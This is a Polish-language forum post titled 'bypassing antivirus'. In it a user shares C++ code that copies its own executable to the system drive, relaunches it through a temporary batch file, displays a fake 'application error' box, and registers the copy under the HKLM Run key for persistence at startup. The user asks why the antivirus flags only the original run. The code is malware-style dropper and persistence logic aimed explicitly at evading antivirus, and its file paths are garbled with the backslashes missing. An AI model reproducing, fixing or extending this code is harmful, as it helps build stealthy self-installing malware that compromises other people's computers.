[C++] Omijanie AV

Zergi

Użytkownik
Dołączył
Marzec 12, 2007
Posty
136
Witam
Tymrazemz niestety mam dość dziwny problem którego nie rozumiem...
Otóż stworzyłem aplikacje, która kopiuje pliczek a następnie dodaje ją do rejestru i teraz problem, AV pluje sie zawsze gdy odpalam np program z pulpitu ale kiedy odpalam ten skopiowany pliczek to AV się nie pluje i wszystko ładnie dodaje się do rejestru, dlaczego tak się dzieje mógłby mi ktoś wytłumaczć?

Tutaj daje kod
Kod:
Kod:
#include <iostream>

#include <fstream>

#include <cstring>

#include <windows.h>



using namespace std;

string a,b,c,d;

const WORD dl = 255;

DWORD buf=100;

char ty[1];

LPSTR Bufor = (LPSTR)GlobalAlloc(GPTR, dl);



int main(int argc, char **argv)

{

   GetWindowsDirectory(Bufor,dl);   

   ty[0] = Bufor[0];

   a = ty[0];

   a = a + ":test12.exe";

   CopyFileA(argv[0],a.c_str(),0);

   if(argv[0] != a){

  MessageBox(0,"TEST1","Błąd aplikacji",MB_OK | MB_ICONERROR);

   ofstream fout("c:test56.BAT");

   fout<<a;

   fout.close();

   system("c:test56.BAT");

   system("DEL c:test56.BAT");

   getchar();

}



   else{

       MessageBox(0,"TEST!","Błąd aplikacji",MB_OK | MB_ICONERROR);

   c = "ADD "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v "ULUMULU" /t REG_SZ /d "+ a +" /f";

   ShellExecute(0,"open","reg",(c.c_str()),NULL,0);



}

   

   return 0;

}


Odrazu mówię, że wiem, że można było to zrobić bez batów ale testowalem i akurat ten kod mi się zachował ;d

Pozdro i z góry thx za pomoc
 
Do góry Bottom